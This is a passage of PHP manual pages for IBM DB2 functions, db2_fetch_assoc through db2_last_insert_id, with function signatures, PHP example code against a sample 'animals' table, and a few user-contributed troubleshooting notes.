  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Returns an array, indexed by column name, representing a row in a result set

  • « db2_fetch_array
  • db2_fetch_both »
  • PHP Manual
  • IBM DB2 Functions
  • Returns an array, indexed by column name, representing a row in a result set

db2_fetch_assoc

(PECL ibm_db2 >= 1.0.0)

db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set

Description

array db2_fetch_assoc ( resource $stmt [, int $row_number = -1 ] )

Returns an array, indexed by column name, representing a row in a result set.

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns an associative array with column values indexed by the column name representing the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

Examples

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_assoc() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_assoc($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_assoc() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_assoc() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_assoc($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
    $i = $i + 2;
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Returns an array, indexed by both column name and position, representing a row in a result set

  • « db2_fetch_assoc
  • db2_fetch_object »
  • PHP Manual
  • IBM DB2 Functions
  • Returns an array, indexed by both column name and position, representing a row in a result set

db2_fetch_both

(PECL ibm_db2 >= 1.0.0)

db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set

Description

array db2_fetch_both ( resource $stmt [, int $row_number = -1 ] )

Returns an array, indexed by both column name and position, representing a
row in a result set. Note that the row returned by
db2_fetch_both() requires more memory than the
single-indexed arrays returned by db2_fetch_assoc() or
db2_fetch_array().

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns an associative array with column values indexed by both the column name and 0-indexed column number. The array represents the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

Examples

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_both() without a specific row number, it automatically retrieves the next row in the result set. The following example accesses columns in the returned array by both column name and by numeric index.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_both($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row[0], $row['BREED'], $row[3]);
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_both() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_both() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_both($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row['NAME'], $row[2], $row['WEIGHT']);
    $i = $i + 2;
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

eacosta at openware dot biz 05-Jun-2008 05:55
Hello,

Some weeks ago I faced difficulties with walk a big number of
records from a result set.

I was using the function db2_fetch_both in a method of a database adapter
class to retrieve just one record at a time. The total number of records
were: 5647 and when I reach record number 1600 the function crashed
generating the below message in "Actual result" field.

I am copying table's description next:

TMP_TABLE
-----------------------------------------------------------------
| ID        | TYPE        | SIZE        | NULL        |
-----------------------------------------------------------------
| ID        | INTEGER    | 4        | NO        |
| SERVICE    | VARCHAR    | 30        | NO        |
| ID_v        | VARCHAR    | 30        | NO        |
| INFORMATION    | CLOB        | 65536        | YES        |
| EXP_LEVEL    | INTEGER    | 4        | NO        |
| IP4B        | BIGINT    | 8        | NO        |
| MODIFIED    | INTEGER    | 4        | YES        |
| DETAIL    | VARCHAR    | 200        | YES        |
| FALSPOS    | INTEGER    | 4        | YES        |
-----------------------------------------------------------------

When it crashed I received this message from db2_fetch_both

db2_fetch_array() [function.db2-fetch-array]: Fetch Failure

After reported this message to IBM OpenDev I was helped by a OpenDev IBMer who noticed me
that it wasn't a ibm_db2 module problem, in fact it was a database configuration
issue. The OpenDev IBMer looked into my DB2 Client CLI TRACE files and found out what was happen.
So I had to modify APP_CTL_HEAP_SZ and everything seems to works fine now.

--
Esteban Acosta Villafañe
Area I+D
http://www.openware.biz/opendev
Linkein Profile: http://www.linkedin.com/in/estebanav


Returns an object with properties representing columns in the fetched row

  • « db2_fetch_both
  • db2_fetch_row »
  • PHP Manual
  • IBM DB2 Functions
  • Returns an object with properties representing columns in the fetched row

db2_fetch_object

(PECL ibm_db2 >= 1.0.0)

db2_fetch_object — Returns an object with properties representing columns in the fetched row

Description

object db2_fetch_object ( resource $stmt [, int $row_number = -1 ] )

Returns an object in which each property represents a column returned in the row fetched from a result set.

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns an object representing a single row in the result set. The properties of the object map to the names of the columns in the result set.

The IBM DB2, Cloudscape, and Apache Derby database servers typically fold column names to upper-case, so the object properties will reflect that case.

If your SELECT statement calls a scalar function to modify the value of a column, the database servers return the column number as the name of the column in the result set. If you prefer a more descriptive column name and object property, you can use the AS clause to assign a name to the column in the result set.

Returns FALSE if no row was retrieved.

Examples

Example #1 A db2_fetch_object() example

The following example issues a SELECT statement with a scalar function, RTRIM, that removes whitespace from the end of the column. Rather than creating an object with the properties "BREED" and "2", we use the AS clause in the SELECT statement to assign the name "name" to the modified column. The database server folds the column names to upper-case, resulting in an object with the properties "BREED" and "NAME".

<?php
$conn = db2_connect($database, $user, $password);

$sql = "SELECT breed, RTRIM(name) AS name
    FROM animals
    WHERE id = ?";

if ($conn) {
    $stmt = db2_prepare($conn, $sql);
    db2_execute($stmt, array(0));

    while ($pet = db2_fetch_object($stmt)) {
        echo "Come here, {$pet->NAME}, my little {$pet->BREED}!";
    }
    db2_close($conn);
}
?>

The above example will output:

Come here, Pook, my little cat!

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Sets the result set pointer to the next row or requested row

  • « db2_fetch_object
  • db2_field_display_size »
  • PHP Manual
  • IBM DB2 Functions
  • Sets the result set pointer to the next row or requested row

db2_fetch_row

(PECL ibm_db2 >= 1.0.0)

db2_fetch_row — Sets the result set pointer to the next row or requested row

Description

bool db2_fetch_row ( resource $stmt [, int $row_number ] )

Use db2_fetch_row() to iterate through a result set, or to point to a specific row in a result set if you requested a scrollable cursor.

To retrieve individual fields from the result set, call the db2_result() function.

Rather than calling db2_fetch_row() and db2_result(), most applications will call one of db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array() to advance the result set pointer and return a complete row as an array.

Parameters

stmt

A valid stmt resource.

row_number

With scrollable cursors, you can request a specific row number in the result set. Row numbering is 1-indexed.

Return Values

Returns TRUE if the requested row exists in the result set. Returns FALSE if the requested row does not exist in the result set.

Examples

Example #1 Iterating through a result set

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 1);
    print "$name $breed";
}
?>

The above example will output:

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

Example #2 i5/OS recommended alternatives to db2_fetch_row/db2_result

On i5/OS it is recommended that you use db2_fetch_both(), db2_fetch_array(), or db2_fetch_object() over db2_fetch_row()/db2_result(). In general db2_fetch_row()/db2_result() have more issues with various column types in EBCIDIC to ASCII translation, including possible truncation in DBCS applications. You may also find the performance of db2_fetch_both(), db2_fetch_array(), and db2_fetch_object() to be superior to db2_fetch_row()/db2_result().

<?php
  $conn = db2_connect("","","");
  $sql = 'SELECT SPECIFIC_SCHEMA, SPECIFIC_NAME, ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE, ROUTINE_CREATED, ROUTINE_BODY, IN_PARMS, OUT_PARMS, INOUT_PARMS, PARAMETER_STYLE, EXTERNAL_NAME, EXTERNAL_LANGUAGE FROM QSYS2.SYSROUTINES FETCH FIRST 2 ROWS ONLY';
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_both($stmt)){
    echo "<br>db2_fetch_both {$row['SPECIFIC_NAME']} {$row['ROUTINE_CREATED']} {$row[5]}";
  }
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_array($stmt)){
    echo "<br>db2_fetch_array {$row[1]}  {$row[5]}";
  }
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_object($stmt)){
    echo "<br>db2_fetch_object {$row->SPECIFIC_NAME} {$row->ROUTINE_CREATED}";
  }
  db2_close($conn);
?>

The above example will output:

db2_fetch_both MATCH_ANIMAL 2006-08-25-17.10.23.775000 2006-08-25-17.10.23.775000
db2_fetch_both MULTIRESULTS 2006-10-17-10.11.05.308000 2006-10-17-10.11.05.308000
db2_fetch_array MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_array MULTIRESULTS 2006-10-17-10.11.05.308000
db2_fetch_object MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_object MULTIRESULTS 2006-10-17-10.11.05.308000

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

krisdover at hotmail dot com 21-Jan-2007 09:54
if the second parameter (the row number) is specified, your connection needs to have the CURSOR option set to DB2_SCROLLABLE. Otherwise all calls to this function will fail. Internal to the ibm_db2 extension module the db2cli api function SQLFetchScroll() generates the error "CLI0145E  Fetch type out of range" since it requires a scrollable resultset to work, instead of the default forward only resultset.

hope this saves someone the time it took me to track this down in the db2cli traces.

Regards,
Kris Dover
andrey at php dot net 26-Nov-2005 10:11
If the second parameter is 0 or NULL (which eventually evaluates to 0) then the internal pointer is moved forward. < 0 value will return an warning.


Returns the maximum number of bytes required to display a column

  • « db2_fetch_row
  • db2_field_name »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the maximum number of bytes required to display a column

db2_field_display_size

(PECL ibm_db2 >= 1.0.0)

db2_field_display_size — Returns the maximum number of bytes required to display a column

Description

int db2_field_display_size ( resource $stmt , mixed $column )

Returns the maximum number of bytes required to display a column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer value with the maximum number of bytes required to display the specified column. If the column does not exist in the result set, db2_field_display_size() returns FALSE.

See Also

  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the column in the result set

  • « db2_field_display_size
  • db2_field_num »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the name of the column in the result set

db2_field_name

(PECL ibm_db2 >= 1.0.0)

db2_field_name — Returns the name of the column in the result set

Description

string db2_field_name ( resource $stmt , mixed $column )

Returns the name of the specified column in the result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns a string containing the name of the specified column. If the specified column does not exist in the result set, db2_field_name() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 05:14
example:

<?php
// select all fields from salay table
$sql = "SELECT * FROM SALARY";

$stmt = db2_prepare($conn,$sql);

if(db2_execute($stmt)){
    $columns = db2_num_fields($stmt);
    for($i=0;$i<$colums;$i++){
        $fieldName[] = db2_field_name($stmt,$i);
    }
    print_r($fieldName);
}else{
    echo db2_stmt_errormsg();
}

/* output
* Array ( [0] => ID [1] => USERID [2] => VALUE )
*/
?>


Returns the position of the named column in a result set

  • « db2_field_name
  • db2_field_precision »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the position of the named column in a result set

db2_field_num

(PECL ibm_db2 >= 1.0.0)

db2_field_num — Returns the position of the named column in a result set

Description

int db2_field_num ( resource $stmt , mixed $column )

Returns the position of the named column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the 0-indexed position of the named column in the result set. If the specified column does not exist in the result set, db2_field_num() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the precision of the indicated column in a result set

  • « db2_field_num
  • db2_field_scale »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the precision of the indicated column in a result set

db2_field_precision

(PECL ibm_db2 >= 1.0.0)

db2_field_precision — Returns the precision of the indicated column in a result set

Description

int db2_field_precision ( resource $stmt , mixed $column )

Returns the precision of the indicated column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the precision of the specified column. If the specified column does not exist in the result set, db2_field_precision() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the scale of the indicated column in a result set

  • « db2_field_precision
  • db2_field_type »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the scale of the indicated column in a result set

db2_field_scale

(PECL ibm_db2 >= 1.0.0)

db2_field_scale — Returns the scale of the indicated column in a result set

Description

int db2_field_scale ( resource $stmt , mixed $column )

Returns the scale of the indicated column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the scale of the specified column. If the specified column does not exist in the result set, db2_field_scale() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the data type of the indicated column in a result set

  • « db2_field_scale
  • db2_field_width »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the data type of the indicated column in a result set

db2_field_type

(PECL ibm_db2 >= 1.0.0)

db2_field_type — Returns the data type of the indicated column in a result set

Description

string db2_field_type ( resource $stmt , mixed $column )

Returns the data type of the indicated column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns a string containing the defined data type of the specified column. If the specified column does not exist in the result set, db2_field_type() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the current value of the indicated column in a result set

  • « db2_field_type
  • db2_foreign_keys »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the width of the current value of the indicated column in a result set

db2_field_width

(PECL ibm_db2 >= 1.0.0)

db2_field_width — Returns the width of the current value of the indicated column in a result set

Description

int db2_field_width ( resource $stmt , mixed $column )

Returns the width of the current value of the indicated column in a result set. This is the maximum width of the column for a fixed-length data type, or the actual width of the column for a variable-length data type.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the width of the specified character or binary data type column in a result set. If the specified column does not exist in the result set, db2_field_width() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the foreign keys for a table

  • « db2_field_width
  • db2_free_result »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the foreign keys for a table

db2_foreign_keys

(PECL ibm_db2 >= 1.0.0)

db2_foreign_keys — Returns a result set listing the foreign keys for a table

Description

resource db2_foreign_keys ( resource $connection , string $qualifier , string $schema , string $table-name )

Returns a result set listing the foreign keys for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. If schema is NULL, db2_foreign_keys() matches the schema for the current connection.

table-name

The name of the table.

Return Values

Returns a statement resource with a result set containing rows describing the foreign keys for the specified table. The result set is composed of the following columns:

Column name | Description
PKTABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
PKTABLE_SCHEM | Name of the schema for the table containing the primary key.
PKTABLE_NAME | Name of the table containing the primary key.
PKCOLUMN_NAME | Name of the column containing the primary key.
FKTABLE_CAT | Name of the catalog for the table containing the foreign key. The value is NULL if this table does not have catalogs.
FKTABLE_SCHEM | Name of the schema for the table containing the foreign key.
FKTABLE_NAME | Name of the table containing the foreign key.
FKCOLUMN_NAME | Name of the column containing the foreign key.
KEY_SEQ | 1-indexed position of the column in the key.
UPDATE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is UPDATE.
DELETE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is DELETE.
FK_NAME | The name of the foreign key.
PK_NAME | The name of the primary key.
DEFERRABILITY | An integer value representing whether the foreign key deferrability is SQL_INITIALLY_DEFERRED, SQL_INITIALLY_IMMEDIATE, or SQL_NOT_DEFERRABLE.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Frees resources associated with a result set

  • « db2_foreign_keys
  • db2_free_stmt »
  • PHP Manual
  • IBM DB2 Functions
  • Frees resources associated with a result set

db2_free_result

(PECL ibm_db2 >= 1.0.0)

db2_free_result — Frees resources associated with a result set

Description

bool db2_free_result ( resource $stmt )

Frees the system and database resources that are associated with a result set. These resources are freed implicitly when a script finishes, but you can call db2_free_result() to explicitly free the result set resources before the end of the script.

Parameters

stmt

A valid statement resource.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • db2_free_stmt() - Frees resources associated with the indicated statement resource

User Contributed Notes

There are no user contributed notes for this page.


Frees resources associated with the indicated statement resource

  • « db2_free_result
  • db2_get_option »
  • PHP Manual
  • IBM DB2 Functions
  • Frees resources associated with the indicated statement resource

db2_free_stmt

(PECL ibm_db2 >= 1.0.0)

db2_free_stmt — Frees resources associated with the indicated statement resource

Description

bool db2_free_stmt ( resource $stmt )

Frees the system and database resources that are associated with a statement resource. These resources are freed implicitly when a script finishes, but you can call db2_free_stmt() to explicitly free the statement resources before the end of the script.

Parameters

stmt

A valid statement resource.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • db2_free_result() - Frees resources associated with a result set

User Contributed Notes

alan at alanseiden dot com 24-Jul-2012 01:00
db2_free_stmt() has been deprecated in favor of setting $stmt to an empty string. Example:

// close stmt resource and force it out of "scope"
$stmt = '';

Looks strange but it works.


Retrieves an option value for a statement resource or a connection resource

  • « db2_free_stmt
  • db2_last_insert_id »
  • PHP Manual
  • IBM DB2 Functions
  • Retrieves an option value for a statement resource or a connection resource

db2_get_option

(PECL ibm_db2 >= 1.6.0)

db2_get_option — Retrieves an option value for a statement resource or a connection resource

Description

string db2_get_option ( resource $resource , string $option )

Retrieves the value of a specified option value for a statement resource or a connection resource.

Parameters

resource

A valid statement resource as returned from db2_prepare() or a valid connection resource as returned from db2_connect() or db2_pconnect().

option

A valid statement or connection options. The following new options are available as of ibm_db2 version 1.6.0. They provide useful tracking information that can be set during execution with db2_get_option().

Note:

Prior versions of ibm_db2 do not support these new options.

When the value in each option is being set, some servers might not handle the entire length provided and might truncate the value.

To ensure that the data specified in each option is converted correctly when transmitted to a host system, use only the characters A through Z, 0 through 9, and the underscore (_) or period (.).

userid

SQL_ATTR_INFO_USERID - A pointer to a null-terminated character string used to identify the client user ID sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 16 characters. This user-id is not to be confused with the authentication user-id, it is for identification purposes only and is not used for any authorization.

acctstr

SQL_ATTR_INFO_ACCTSTR - A pointer to a null-terminated character string used to identify the client accounting string sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 200 characters.

applname

SQL_ATTR_INFO_APPLNAME - A pointer to a null-terminated character string used to identify the client application name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 32 characters.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - A pointer to a null-terminated character string used to identify the client workstation name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 18 characters.

The following table specifies which options are compatible with the available resource types:

Resource-Parameter Matrix
Key | Value | Resource Type
 |  | Connection | Statement | Result Set
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

Return Values

Returns the current setting of the connection attribute provided on success or FALSE on failure.

Examples

Example #1 Setting and retrieving parameters through a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$user     = 'db2inst1';
$password = 'ibmdb2';

/* Obtain Connection Resource */
$conn = db2_connect($database, $user, $password);

echo "Client attributes passed through connection string:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes through connection string */
/* Access the options specified */
$options1 = array('userid' => 'db2inst1');
$conn1 = db2_connect($database, $user, $password, $options1);
$val = db2_get_option($conn1, 'userid');
echo $val . "\n";

$options2 = array('acctstr' => 'account');
$conn2 = db2_connect($database, $user, $password, $options2);
$val = db2_get_option($conn2, 'acctstr');
echo $val . "\n";

$options3 = array('applname' => 'myapp');
$conn3 = db2_connect($database, $user, $password, $options3);
$val = db2_get_option($conn3, 'applname');
echo $val . "\n";

$options4 = array('wrkstnname' => 'workstation');
$conn4 = db2_connect($database, $user, $password, $options4);
$val = db2_get_option($conn4, 'wrkstnname');
echo $val . "\n";

echo "Client attributes passed post-connection:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes after a connection is made */
/* Access the options specified */
$options5 = array('userid' => 'db2inst1');
$conn5 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn5, $options5, 1);
$val = db2_get_option($conn5, 'userid');
echo $val . "\n";

$options6 = array('acctstr' => 'account');
$conn6 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn6, $options6, 1);
$val = db2_get_option($conn6, 'acctstr');
echo $val . "\n";

$options7 = array('applname' => 'myapp');
$conn7 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn7, $options7, 1);
$val = db2_get_option($conn7, 'applname');
echo $val . "\n";

$options8 = array('wrkstnname' => 'workstation');
$conn8 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn8, $options8, 1);
$val = db2_get_option($conn8, 'wrkstnname');
echo $val . "\n";
?>

The above example will output:

Client attributes passed through connection string:
db2inst1
account
myapp
workstation
Client attributes passed post-connection:
db2inst1
account
myapp
workstation

See Also

  • db2_connect() - Returns a connection to a database
  • db2_cursor_type() - Returns the cursor type used by a statement resource
  • db2_exec() - Executes an SQL statement directly
  • db2_set_option() - Set options for connection or statement resources
  • db2_pconnect() - Returns a persistent connection to a database
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.


Returns the auto generated ID of the last insert query that successfully executed on this connection

  • « db2_get_option
  • db2_lob_read »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the auto generated ID of the last insert query that successfully executed on this connection

db2_last_insert_id

(PECL ibm_db2 >= 1.7.1)

db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection

Description

string db2_last_insert_id ( resource $resource )

Returns the auto generated ID of the last insert query that successfully executed on this connection.

The result of this function is not affected by any of the following:

  • A single row INSERT statement with a VALUES clause for a table without an identity column.

  • A multiple row INSERT statement with a VALUES clause.

  • An INSERT statement with a fullselect.

  • A ROLLBACK TO SAVEPOINT statement.

Parameters

resource

A valid connection resource as returned from db2_connect() or db2_pconnect(). The value of this parameter cannot be a statement resource or result set resource.

Return Values

Returns the auto generated ID of last insert query that successfully executed on this connection.

Examples

Example #1 A db2_last_insert_id() example

The following example shows how to return the auto generated ID of last insert query that successfully executed on this connection.

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);
    $ret =  db2_last_insert_id($conn);
    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

